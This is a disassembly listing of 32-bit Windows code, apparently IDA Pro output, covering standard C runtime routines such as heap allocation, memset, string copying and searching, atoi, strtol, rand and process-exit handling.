locret_417A68:				; CODE XREF: sub_417A3D+13j
					; sub_417A3D+19j
		retn
sub_417A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A69	proc near		; CODE XREF: sub_417A3D+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_43AB7C
		ja	short loc_417A81
		push	esi
		call	sub_41A37D
		test	eax, eax
		pop	ecx
		jnz	short loc_417A9D


loc_417A81:				; CODE XREF: sub_417A69+Bj
		test	esi, esi
		jnz	short loc_417A88
		push	1
		pop	esi


loc_417A88:				; CODE XREF: sub_417A69+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4D9D60
		call	dword_423180	; RtlAllocateHeap


loc_417A9D:				; CODE XREF: sub_417A69+16j
		pop	esi
		retn
sub_417A69	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417AA0	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417AF3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417AE7
		neg	ecx
		and	ecx, 3
		jz	short loc_417AC9
		sub	edx, ecx


loc_417AC3:				; CODE XREF: sub_417AA0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417AC3


loc_417AC9:				; CODE XREF: sub_417AA0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417AE7
		rep stosd
		test	edx, edx
		jz	short loc_417AED


loc_417AE7:				; CODE XREF: sub_417AA0+18j
					; sub_417AA0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417AE7


loc_417AED:				; CODE XREF: sub_417AA0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AF3:				; CODE XREF: sub_417AA0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401221+499p
					; sub_401221+4B5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_417B83
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_417B24
		shr	ecx, 2
		jnz	short loc_417B91
		jmp	short loc_417B45
; ---------------------------------------------------------------------------


loc_417B24:				; CODE XREF: sub_417B00+1Bj
					; sub_417B00+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_417B52
		test	al, al
		jz	short loc_417B5A
		test	esi, 3
		jnz	short loc_417B24
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_417B91


loc_417B40:				; CODE XREF: sub_417B00+8Fj
		and	ebx, 3
		jz	short loc_417B52


loc_417B45:				; CODE XREF: sub_417B00+22j
					; sub_417B00+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_417B7E
		dec	ebx
		jnz	short loc_417B45


loc_417B52:				; CODE XREF: sub_417B00+2Bj
					; sub_417B00+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417B5A:				; CODE XREF: sub_417B00+2Fj
		test	edi, 3
		jz	short loc_417B74


loc_417B62:				; CODE XREF: sub_417B00+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_417BF6
		test	edi, 3
		jnz	short loc_417B62


loc_417B74:				; CODE XREF: sub_417B00+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_417BE7


loc_417B7B:				; CODE XREF: sub_417B00+7Fj
					; sub_417B00+F4j
		mov	[edi], al
		inc	edi


loc_417B7E:				; CODE XREF: sub_417B00+4Dj
		dec	ebx
		jnz	short loc_417B7B
		pop	ebx
		pop	esi


loc_417B83:				; CODE XREF: sub_417B00+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417B89:				; CODE XREF: sub_417B00+A9j
					; sub_417B00+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_417B40


loc_417B91:				; CODE XREF: sub_417B00+20j
					; sub_417B00+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_417B89
		test	dl, dl
		jz	short loc_417BDB
		test	dh, dh
		jz	short loc_417BD1
		test	edx, 0FF0000h
		jz	short loc_417BC7
		test	edx, 0FF000000h
		jnz	short loc_417B89
		mov	[edi], edx
		jmp	short loc_417BDF
; ---------------------------------------------------------------------------


loc_417BC7:				; CODE XREF: sub_417B00+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_417BDF
; ---------------------------------------------------------------------------


loc_417BD1:				; CODE XREF: sub_417B00+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_417BDF
; ---------------------------------------------------------------------------


loc_417BDB:				; CODE XREF: sub_417B00+ADj
		xor	edx, edx
		mov	[edi], edx


loc_417BDF:				; CODE XREF: sub_417B00+C5j
					; sub_417B00+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_417BF1


loc_417BE7:				; CODE XREF: sub_417B00+79j
		xor	eax, eax


loc_417BE9:				; CODE XREF: sub_417B00+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_417BE9


loc_417BF1:				; CODE XREF: sub_417B00+E5j
		and	ebx, 3
		jnz	short loc_417B7B


loc_417BF6:				; CODE XREF: sub_417B00+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_417B00	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BFE	proc near		; CODE XREF: sub_417C89+4p
					; sub_4202CC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_417C06:				; CODE XREF: sub_417BFE+34j
		cmp	dword_43AD8C, 1
		jle	short loc_417C1E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_417C2D
; ---------------------------------------------------------------------------


loc_417C1E:				; CODE XREF: sub_417BFE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43AB80
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_417C2D:				; CODE XREF: sub_417BFE+1Ej
		test	eax, eax
		jz	short loc_417C34
		inc	edi
		jmp	short loc_417C06
; ---------------------------------------------------------------------------


loc_417C34:				; CODE XREF: sub_417BFE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_417C44
		cmp	esi, 2Bh
		jnz	short loc_417C48


loc_417C44:				; CODE XREF: sub_417BFE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_417C48:				; CODE XREF: sub_417BFE+44j
		xor	ebx, ebx


loc_417C4A:				; CODE XREF: sub_417BFE+7Bj
		cmp	dword_43AD8C, 1
		jle	short loc_417C5F
		push	4
		push	esi
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_417C6A
; ---------------------------------------------------------------------------


loc_417C5F:				; CODE XREF: sub_417BFE+53j
		mov	eax, off_43AB80
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417C6A:				; CODE XREF: sub_417BFE+5Fj
		test	eax, eax
		jz	short loc_417C7B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_417C4A
; ---------------------------------------------------------------------------


loc_417C7B:				; CODE XREF: sub_417BFE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_417C84
		neg	eax


loc_417C84:				; CODE XREF: sub_417BFE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417BFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C89	proc near		; CODE XREF: sub_401221+303p
					; sub_401AC7+AFBp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417BFE
		pop	ecx
		retn
sub_417C89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C94	proc near		; CODE XREF: nsp0:00419D16p
		mov	eax, off_43AB4C
		test	eax, eax
		jz	short loc_417C9F
		call	eax ; sub_418C48


loc_417C9F:				; CODE XREF: sub_417C94+7j
		push	offset dword_425030
		push	offset dword_42501C
		call	sub_417D7C
		push	offset dword_425018
		push	offset dword_425000
		call	sub_417D7C
		add	esp, 10h
		retn
sub_417C94	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CC1	proc near		; CODE XREF: nsp0:00419D55p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_417CE3
		add	esp, 0Ch
		retn
sub_417CC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CD2	proc near		; CODE XREF: nsp0:00419D74p
					; sub_419D79+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_417CE3
		add	esp, 0Ch
		retn
sub_417CD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CE3	proc near		; CODE XREF: sub_417CC1+8p
					; sub_417CD2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4D8718, edi
		jnz	short loc_417D00
		push	[esp+4+arg_0]
		call	dword_4230F8	; GetCurrentProcess
		push	eax
		call	dword_4230F0	; TerminateProcess


loc_417D00:				; CODE XREF: sub_417CE3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4D8714, edi
		mov	byte_4D8710, bl
		jnz	short loc_417D54
		mov	eax, dword_4D9D74
		test	eax, eax
		jz	short loc_417D43
		mov	ecx, dword_4D9D70
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_417D42


loc_417D2F:				; CODE XREF: sub_417CE3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_417D37
		call	eax


loc_417D37:				; CODE XREF: sub_417CE3+50j
		sub	esi, 4
		cmp	esi, dword_4D9D74
		jnb	short loc_417D2F


loc_417D42:				; CODE XREF: sub_417CE3+4Aj
		pop	esi


loc_417D43:				; CODE XREF: sub_417CE3+3Cj
		push	offset dword_42503C
		push	offset dword_425034
		call	sub_417D7C
		pop	ecx
		pop	ecx


loc_417D54:				; CODE XREF: sub_417CE3+33j
		push	offset dword_425048
		push	offset dword_425040
		call	sub_417D7C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_417D7A
		push	[esp+4+arg_0]
		mov	dword_4D8718, edi
		call	dword_423064	; ExitProcess


loc_417D7A:				; CODE XREF: sub_417CE3+85j
		pop	edi
		retn
sub_417CE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D7C	proc near		; CODE XREF: sub_417C94+15p
					; sub_417C94+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_417D81:				; CODE XREF: sub_417D7C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_417D94
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_417D8F
		call	eax


loc_417D8F:				; CODE XREF: sub_417D7C+Fj
		add	esi, 4
		jmp	short loc_417D81
; ---------------------------------------------------------------------------


loc_417D94:				; CODE XREF: sub_417D7C+9j
		pop	esi
		retn
sub_417D7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D96	proc near		; CODE XREF: sub_401221+18Cp
					; sub_401221+292p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41B184
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417DD6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417DE3
; ---------------------------------------------------------------------------


loc_417DD6:				; CODE XREF: sub_417D96+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41B06F
		pop	ecx
		pop	ecx


loc_417DE3:				; CODE XREF: sub_417D96+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_417D96	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DE8	proc near		; CODE XREF: sub_401221+45p
					; sub_401AC7+2C24p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AB30, eax
		retn
sub_417DE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DF2	proc near		; CODE XREF: sub_401221:loc_401376p
					; sub_401221:loc_4016A1p ...
		mov	eax, dword_43AB30
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AB30, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_417DF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E10	proc near		; CODE XREF: sub_401221+12Ap
					; sub_401AC7+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_417E8A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_417E77


loc_417E28:				; CODE XREF: sub_417E10+52j
					; sub_417E10+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_417E4A
		test	al, al
		jz	short loc_417E44


loc_417E39:				; CODE XREF: sub_417E10+32j
		mov	al, [esi]
		inc	esi


loc_417E3C:				; CODE XREF: sub_417E10+3Fj
		cmp	al, dl
		jz	short loc_417E4A
		test	al, al
		jnz	short loc_417E39


loc_417E44:				; CODE XREF: sub_417E10+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417E4A:				; CODE XREF: sub_417E10+23j
					; sub_417E10+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_417E3C
		lea	edi, [esi-1]


loc_417E54:				; CODE XREF: sub_417E10+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_417E83
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417E28
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_417E83
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_417E54
		jmp	short loc_417E28
; ---------------------------------------------------------------------------


loc_417E77:				; CODE XREF: sub_417E10+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_4184B6
; ---------------------------------------------------------------------------


loc_417E83:				; CODE XREF: sub_417E10+49j
					; sub_417E10+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417E8A:				; CODE XREF: sub_417E10+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417E10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E90	proc near		; CODE XREF: sub_401221+117p
					; sub_401AC7+1A40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B184
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417ECF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417EDC
; ---------------------------------------------------------------------------


loc_417ECF:				; CODE XREF: sub_417E90+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41B06F
		pop	ecx
		pop	ecx


loc_417EDC:				; CODE XREF: sub_417E90+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_417E90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EE1	proc near		; CODE XREF: sub_401221+F7p
					; sub_401AC7+1D24p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4176F0
		cmp	eax, 1
		pop	ecx
		jb	short loc_417F1C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417F1C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_417F18
		push	2
		push	ebx
		push	esi
		call	sub_41BD6E
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_417F18:				; CODE XREF: sub_417EE1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_417F26
; ---------------------------------------------------------------------------


loc_417F1C:				; CODE XREF: sub_417EE1+18j
					; sub_417EE1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_417F26
		and	byte ptr [eax],	0


loc_417F26:				; CODE XREF: sub_417EE1+39j
					; sub_417EE1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_417F9E


loc_417F39:				; CODE XREF: sub_417EE1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4D9C41[edx], 4
		jz	short loc_417F4A
		inc	eax
		jmp	short loc_417F64
; ---------------------------------------------------------------------------


loc_417F4A:				; CODE XREF: sub_417EE1+64j
		cmp	cl, 2Fh
		jz	short loc_417F5E
		cmp	cl, 5Ch
		jz	short loc_417F5E
		cmp	cl, 2Eh
		jnz	short loc_417F64
		mov	[ebp+var_4], eax
		jmp	short loc_417F64
; ---------------------------------------------------------------------------


loc_417F5E:				; CODE XREF: sub_417EE1+6Cj
					; sub_417EE1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_417F64:				; CODE XREF: sub_417EE1+67j
					; sub_417EE1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417F39
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_417F9E
		cmp	[ebp+arg_8], 0
		jz	short loc_417F99
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417F82
		mov	edi, esi


loc_417F82:				; CODE XREF: sub_417EE1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41BD6E
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_417F99:				; CODE XREF: sub_417EE1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_417FA8
; ---------------------------------------------------------------------------


loc_417F9E:				; CODE XREF: sub_417EE1+56j
					; sub_417EE1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_417FA8
		and	byte ptr [ecx],	0


loc_417FA8:				; CODE XREF: sub_417EE1+BBj
					; sub_417EE1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417FFB
		cmp	edi, ebx
		jb	short loc_417FFB
		cmp	[ebp+arg_C], 0
		jz	short loc_417FD8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417FC1
		mov	edi, esi


loc_417FC1:				; CODE XREF: sub_417EE1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41BD6E
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_417FD8:				; CODE XREF: sub_417EE1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_418023
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_417FE8
		mov	esi, eax


loc_417FE8:				; CODE XREF: sub_417EE1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41BD6E
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_418023
; ---------------------------------------------------------------------------


loc_417FFB:				; CODE XREF: sub_417EE1+CCj
					; sub_417EE1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_418019
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41800A
		mov	esi, eax


loc_41800A:				; CODE XREF: sub_417EE1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41BD6E
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_418019:				; CODE XREF: sub_417EE1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_418023
		and	byte ptr [eax],	0


loc_418023:				; CODE XREF: sub_417EE1+FCj
					; sub_417EE1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417EE1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418030	proc near		; CODE XREF: sub_40194F+8p
					; sub_401AC7+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_418050


loc_41803C:				; CODE XREF: sub_418030+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41803C


loc_418050:				; CODE XREF: sub_418030+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_418030	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41805F	proc near		; CODE XREF: sub_401AC7+6922p
					; sub_401AC7+6951p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_418073
		xor	eax, eax
		jmp	short loc_4180A9
; ---------------------------------------------------------------------------


loc_418073:				; CODE XREF: sub_41805F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_4180A3
		mov	esi, [ebp+arg_8]


loc_41807C:				; CODE XREF: sub_41805F+42j
		dec	dword ptr [esi+4]
		js	short loc_41808B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_418092
; ---------------------------------------------------------------------------


loc_41808B:				; CODE XREF: sub_41805F+20j
		push	esi
		call	sub_41AB28
		pop	ecx


loc_418092:				; CODE XREF: sub_41805F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4180AD
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_4180A3
		dec	[ebp+arg_4]
		jnz	short loc_41807C


loc_4180A3:				; CODE XREF: sub_41805F+18j
					; sub_41805F+3Dj ...
		and	byte ptr [edi],	0


loc_4180A6:				; CODE XREF: sub_41805F+55j
		mov	eax, ebx
		pop	esi


loc_4180A9:				; CODE XREF: sub_41805F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4180AD:				; CODE XREF: sub_41805F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_4180A3
		xor	ebx, ebx
		jmp	short loc_4180A6
sub_41805F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180B6	proc near		; CODE XREF: sub_4182BE+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_4180CE:				; CODE XREF: sub_4180B6+46j
		cmp	dword_43AD8C, 1
		jle	short loc_4180E6
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_4180F5
; ---------------------------------------------------------------------------


loc_4180E6:				; CODE XREF: sub_4180B6+1Fj
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4180F5:				; CODE XREF: sub_4180B6+2Ej
		test	eax, eax
		jz	short loc_4180FE
		mov	bl, [esi]
		inc	esi
		jmp	short loc_4180CE
; ---------------------------------------------------------------------------


loc_4180FE:				; CODE XREF: sub_4180B6+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41810C
		or	[ebp+arg_C], 2
		jmp	short loc_418111
; ---------------------------------------------------------------------------


loc_41810C:				; CODE XREF: sub_4180B6+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418117


loc_418111:				; CODE XREF: sub_4180B6+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_418117:				; CODE XREF: sub_4180B6+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_4182AE
		cmp	eax, 1
		jz	loc_4182AE
		cmp	eax, 24h
		jg	loc_4182AE
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41815F
		cmp	bl, 30h
		jz	short loc_418149
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41817B
; ---------------------------------------------------------------------------


loc_418149:				; CODE XREF: sub_4180B6+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41815C
		cmp	al, 58h
		jz	short loc_41815C
		mov	[ebp+arg_8], 8
		jmp	short loc_41817B
; ---------------------------------------------------------------------------


loc_41815C:				; CODE XREF: sub_4180B6+97j
					; sub_4180B6+9Bj
		mov	[ebp+arg_8], ecx


loc_41815F:				; CODE XREF: sub_4180B6+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41817B
		cmp	bl, 30h
		jnz	short loc_41817B
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_418173
		cmp	al, 58h
		jnz	short loc_41817B


loc_418173:				; CODE XREF: sub_4180B6+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41817B:				; CODE XREF: sub_4180B6+91j
					; sub_4180B6+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41818B:				; CODE XREF: sub_4180B6+16Cj
		cmp	dword_43AD8C, 1
		movzx	esi, bl
		jle	short loc_4181A3
		push	4
		push	esi
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_4181AE
; ---------------------------------------------------------------------------


loc_4181A3:				; CODE XREF: sub_4180B6+DFj
		mov	eax, off_43AB80
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4181AE:				; CODE XREF: sub_4180B6+EBj
		test	eax, eax
		jz	short loc_4181BA
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4181EC
; ---------------------------------------------------------------------------


loc_4181BA:				; CODE XREF: sub_4180B6+FAj
		cmp	dword_43AD8C, 1
		jle	short loc_4181CE
		push	edi
		push	esi
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_4181D9
; ---------------------------------------------------------------------------


loc_4181CE:				; CODE XREF: sub_4180B6+10Bj
		mov	eax, off_43AB80
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_4181D9:				; CODE XREF: sub_4180B6+116j
		test	eax, eax
		jz	short loc_418227
		movsx	eax, bl
		push	eax
		call	sub_41BDF8
		pop	ecx
